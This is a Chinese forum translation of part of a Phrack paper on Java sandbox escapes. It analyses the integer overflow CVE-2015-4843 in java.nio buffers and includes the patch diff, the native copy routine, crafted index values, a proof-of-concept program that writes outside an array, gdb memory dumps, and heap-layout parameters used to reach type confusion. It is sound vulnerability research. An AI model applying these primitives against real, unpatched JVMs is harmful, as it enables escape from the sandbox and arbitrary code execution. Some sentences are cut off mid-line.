Java沙箱逃逸走过的二十个春秋（三）

mss**** / 2018-10-03 13:29:09 / 浏览数 3653 技术文章 技术文章 顶(0) 踩(0)

原文：http://phrack.org/papers/escaping_the_java_sandbox.html

在上一篇中，我们为读者详细介绍了基于类型混淆漏洞的沙箱逃逸技术。在本文中，我们将继续介绍整型溢出漏洞方面的知识。

----[3.2 - 整数溢出漏洞

------[3.2.1 - 背景知识

当算术运算的结果太大从而导致变量的位数不够用时，就会发生整数溢出。在Java中，整数是使用32位表示的带符号数。正整数的取值范围从0x00000000（0）到0x7FFFF
^ 31-1）。负整数的取值范围为从0x80000000（-2 ^ 31）到0xFFFFFFFF（-1）。如果值0x7FFFFFFF（2 ^ 31-1）继续递增的话，则结果就不是2 ^
31，而是（-2 ^ 31）了。那么，我们如何才能利用这个漏洞来禁用安全管理器呢？

在下一节中，我们将分析CVE-2015-4843[20]的整数溢出漏洞。很多时候，整数会用作数组中的索引。利用溢出漏洞，我们可以读取/写入数组之外的值。这些读/写原语可

------[3.2.2 - 示例： CVE-2015-4843

Redhat公司的Bugzilla[19]对这个漏洞的进行了简短的介绍：在java.nio包中的Buffers类中发现了多个整数溢出漏洞，并且相关漏洞可用于执行任意代码。

漏洞补丁实际上修复的是文件java/nio/Direct-X-Buffer.java.template，它用于生成DirectXBufferY.java形式的类，其中X可以是“Byte”、“Char”、“Double”、“Int”、“Lon

```
14:      public $Type$Buffer put($type$[] src, int offset, int length) {
15:  #if[rw]
16: -        if ((length << $LG_BYTES_PER_VALUE$)
               > Bits.JNI_COPY_FROM_ARRAY_THRESHOLD) {
17: +        if (((long)length << $LG_BYTES_PER_VALUE$)
               > Bits.JNI_COPY_FROM_ARRAY_THRESHOLD) {
18:              checkBounds(offset, length, src.length);
19:              int pos = position();
20:              int lim = limit();
21: @@ -364,12 +364,16 @@
22:
23:  #if[!byte]
24:              if (order() != ByteOrder.nativeOrder())
25: -                Bits.copyFrom$Memtype$Array(src,
                      offset << $LG_BYTES_PER_VALUE$,
26: -                   ix(pos), length << $LG_BYTES_PER_VALUE$);
27: +                Bits.copyFrom$Memtype$Array(src,
28: +                   (long)offset << $LG_BYTES_PER_VALUE$,
29: +                   ix(pos),
30: +                   (long)length << $LG_BYTES_PER_VALUE$);
31:              else
32:  #end[!byte]
33: -                Bits.copyFromArray(src, arrayBaseOffset,
                      offset << $LG_BYTES_PER_VALUE$,
34: -                   ix(pos), length << $LG_BYTES_PER_VALUE$);
35: +                Bits.copyFromArray(src, arrayBaseOffset,
36: +                   (long)offset << $LG_BYTES_PER_VALUE$,
37: +                   ix(pos),
38: +                   (long)length << $LG_BYTES_PER_VALUE$);
39:              position(pos + length);
```

修复工作（第17、28、36和38行）涉及在执行移位操作之前将32位整数转换为64位整数，这是因为在32位整数上完成该移位操作会导致整数溢出。下面是put()方法修订后
1.8 update 65版本中的java.nio.DirectIntBufferS.java中提取的：

```
354:     public IntBuffer put(int[] src, int offset, int length) {
355:
356:       if (((long)length << 2) > Bits.JNI_COPY_FROM_ARRAY_THRESHOLD) {
357:             checkBounds(offset, length, src.length);
358:             int pos = position();
359:             int lim = limit();
360:             assert (pos <= lim);
361:             int rem = (pos <= lim ? lim - pos : 0);
```

```
362:             if (length > rem)
363:                 throw new BufferOverflowException();
364:
365:
366:             if (order() != ByteOrder.nativeOrder())
367:                 Bits.copyFromIntArray(src,
368:                                       (long)offset << 2,
369:                                       ix(pos),
370:                                       (long)length << 2);
371:             else
372:
373:                 Bits.copyFromArray(src, arrayBaseOffset,
374:                                    (long)offset << 2,
375:                                    ix(pos),
376:                                    (long)length << 2);
377:             position(pos + length);
378:       } else {
379:             super.put(src, offset, length);
380:       }
381:       return this;
382:
383:
384:
385:     }
```

该方法将src数组中指定的偏移量处的length元素复制到内部数组中。在第367行，将会调用方法Bits.copyFromIntArray()。这个Java方法的参数分别是源数组的引用、源数

在易受攻击的版本中，并没有进行相应的强制类型转换，从而导致代码容易受到整数溢出漏洞的影响。

类似地，将元素从内部数组复制到外部数组的get()方法也很容易受到这种攻击的影响。其实，get()方法与put()方法非常相似，只是对copyFromIntArray()的调用被对copy

```
262:     public IntBuffer get(int[] dst, int offset, int length) {
263:
[...]
275:                 Bits.copyToIntArray(ix(pos), dst,
276:                                     (long)offset << 2,
277:                                     (long)length << 2);
[...]
291:     }
```

由于方法get()和put()非常相似，因此，这里只介绍get()方法中整数溢出漏洞的利用方法。至于put()方法中的漏洞利用方法，大家可以照葫芦画瓢。

下面，我们先来看看在get()方法中调用的Bits.copyFromArray()方法，它实际上是一个原生方法，如下所示：

```
803:    static native void copyToIntArray(long srcAddr, Object dst,
804:                                      long dstPos, long length);
```

该方法的C代码如下所示。

```
175: JNIEXPORT void JNICALL
176: Java_java_nio_Bits_copyToIntArray(JNIEnv *env, jobject this,
177:                                   jlong srcAddr, jobject dst,
                                      jlong dstPos, jlong length)
178: {
179:     jbyte *bytes;
180:     size_t size;
181:     jint *srcInt, *dstInt, *endInt;
182:     jint tmpInt;
183:
184:     srcInt = (jint *)jlong_to_ptr(srcAddr);
185:
186:     while (length > 0) {
187:         /* do not change this code, see WARNING above */
188:         if (length > MBYTE)
189:             size = MBYTE;
190:         else
191:             size = (size_t)length;
192:
193:         GETCRITICAL(bytes, env, dst);
194:
195:         dstInt = (jint *)(bytes + dstPos);
```

```
196:         endInt = srcInt + (size / sizeof(jint));
197:         while (srcInt < endInt) {
198:             tmpInt = *srcInt++;
199:             *dstInt++ = SWAPINT(tmpInt);
200:         }
201:
202:         RELEASECRITICAL(bytes, env, dst, 0);
203:
204:         length -= size;
205:         srcAddr += size;
206:         dstPos += size;
207:     }
208: }
```

可以看到，这里并没有对数组索引进行相应的检查。也就是说，即使索引小于零，或大于或等于数组大小，代码也照常运行。

在代码中，首先将long类型转换为32位整型指针（第184行）。然后，代码进入循环，直到length/size元素被复制时为止（第186和204行）。对GETCRITICAL()和RELEAS

为了执行这些本机代码，必须满足Java方法get()中的三个条件：

- 条件 1:

```
356:      if (((long)length << 2) > Bits.JNI_COPY_FROM_ARRAY_THRESHOLD) {
```

  条件 2:

```
357:          checkBounds(offset, length, src.length);
```

- 条件 3:

```
362:          if (length > rem)
```

注意，这里没有提及第360行中的断言，因为，它只检查是否在VM中设置了"-ea"（启用断言）选项。实际上，该选项在生产环境中几乎从未使用过，因为它会拖速度的后腿

在第一个条件中，JNI_COPY_FROM_ARRAY_THRESHOLD表示一个阈值，即使用本机代码复制元素时，最低的元素数量。Oracle根据经验确定，这个阀值取6比较合适。为
>> 2）。

第二个条件出现在checkBounds()方法中：

```
564:    static void checkBounds(int off, int len, int size) {
566:        if ((off | len | (off + len) | (size - (off + len))) < 0)
567:            throw new IndexOutOfBoundsException();
568:    }
```

第二个条件可以表示为：

```
1:  offset > 0 AND length > 0 AND (offset + length) > 0
 2:  AND (dst.length - (offset + length)) > 0.
```

第三个条件会检查剩余的元素数量是否小于或等于要复制的元素数：

```
length < lim - pos
```

为简化起见，我们假设该数组索引的当前值为0。这样的话，这个条件变为：

```
length < lim
```

这等价于：

```
length < dst.length
```

满足这些条件的解为：

```
dst.length = 1209098507
offset     = 1073741764
length     =          2
```

使用这个解的话，所有条件都能得到满足，并且由于存在整数溢出漏洞，我们可以从负索引-240（1073741764 << 2）处读取8个字节（2 *
4）。这样，我们就获得了一个读取原语，可以用于读取dst数组之前的字节内容。对于get()方法来说，我们可以如法炮制，从而得到一个能够在dst数组之前写入字节的原语

我们可以编写一个用来检验上述分析是否正确的PoC，并在易受攻击的JVM版本（例如Java 1.8 update 60）上运行它。

```
1:  public class Test {
 2:
 3:    public static void main(String[] args) {
 4:      int[] dst = new int[1209098507];
 5:
 6:      for (int i = 0; i < dst.length; i++) {
 7:        dst[i] = 0xAAAAAAAA;
 8:      }
 9:
10:      int bytes = 400;
11:      ByteBuffer bb = ByteBuffer.allocateDirect(bytes);
12:      IntBuffer ib = bb.asIntBuffer();
13:
14:      for (int i = 0; i < ib.limit(); i++) {
15:        ib.put(i, 0xBBBBBBBB);
16:      }
17:
18:      int offset = 1073741764; // offset << 2 = -240
19:      int length = 2;
20:
21:      ib.get(dst, offset, length); // breakpoint here
22:    }
23:
24:  }
```

上面的代码会创建一个大小为1209098507（第4行）的数组，并将其全部元素初始化为0xAAAAAAAA（第6-8行）。然后，会创建一个IntBuffer类型的实例ib，并将其内部
之后，并没有改变dst数组的元素。这意味着来自ib内部数组的2个元素已被复制到dst数组之外。我们可以在第21行设置断点，然后在运行JVM的进程上启动gdb来验证这一

```
$ gdb -p 1234
[...]
(gdb) x/10x 0x200000000
0x200000000:    0x00000001  0x00000000  0x3f5c025e  0x4811610b
0x200000010:    0xaaaaaaaa  0xaaaaaaaa  0xaaaaaaaa  0xaaaaaaaa
0x200000020:    0xaaaaaaaa  0xaaaaaaaa
(gdb) x/10x 0x200000000-240
0x1ffffff10:    0x00000000  0x00000000  0x00000000  0x00000000
0x1ffffff20:    0x00000000  0x00000000  0x00000000  0x00000000
0x1ffffff30:    0x00000000  0x00000000
```

借助于gdb，我们可以看到dst数组的元素已按预期初始化为0xAAAAAAAA。需要注意的是，这个数组的元素不是直接从0xAAAAAAAA处开始的，相反，这里是一个16字节
=
1209098507）。现在，在数组之前的240个字节没有存放任何内容，即全部是null字节。接下来，让我们运行Java的get方法，并再次使用gdb来检查内存状态：

```
(gdb) c
Continuing.
^C
Thread 1 "java" received signal SIGINT, Interrupt.
0x00007fb208ac86cd in pthread_join (threadid=140402604672768,
 thread_return=0x7ffec40d4860) at pthread_join.c:90
90  in pthread_join.c
(gdb) x/10x 0x200000000-240
0x1ffffff10:    0x00000000  0x00000000  0x00000000  0x00000000
0x1ffffff20:    0xbbbbbbbb  0xbbbbbbbb  0x00000000  0x00000000
0x1ffffff30:    0x00000000  0x00000000
```

从ib的内部数组复制到dst数组的两个元素的副本的确"起作用了"：它们被复制到了dst数组的第一个元素之前的240个字节的内存中。由于某种原因，程序并没有崩溃。通过

```
$ pmap 1234
[...]
00000001fc2c0000  62720K rwx--   [ anon ]
0000000200000000 5062656K rwx--   [ anon ]
0000000335000000 11714560K rwx--   [ anon ]
[...]
```

如下所述，对于Java来说，类型混淆漏洞就是完全绕过沙箱的同义词。漏洞CVE-2017-3272的思路就是使用读写原语来进行类型混淆漏洞攻击。我们的目标是在内存中建立

```
B[] |0|1|...........|k|......|l|
 A[] |0|1|2|....|i|...............|m|
int[] |0|.................|j|....|n|
```

其中，元素类型为_B_的数组恰好位于元素类型为_A_的数组之前，而元素类型为_A_的数组恰好位于_IntBuffer_对象的内部数组之前。所以，我们的第一步就是使用读取原语

处理堆的代码非常复杂，并且对于不同的VM或版本，可能要进行相应的修改（Hotspot，JRockit等）。我们已经找到了一个稳定的组合，对于50个不同版本的JVM来说，

```
l = 429496729
m = l
n = 858993458
```

------[3.2.3 - 讨论

我们已经在Java
1.6、1.7和1.8的所有公开可用版本上对这个漏洞进行了测试。结果表明，共有51个版本容易受到这个漏洞的影响，其中包括1.6的18个版本(从1.6_23到1.6_45)，1.7的28个

关于这个漏洞的修复方法，我们已经介绍过了：在执行移位操作之前，首先对32位整数进行类型转换，这样的话，就能够有效地防止整数溢出漏洞了。

小结

在本文中，我们将继续介绍整型溢出漏洞方面的知识。在接下来的文章中，我们将继续为读者奉献更多精彩的内容，敬请期待！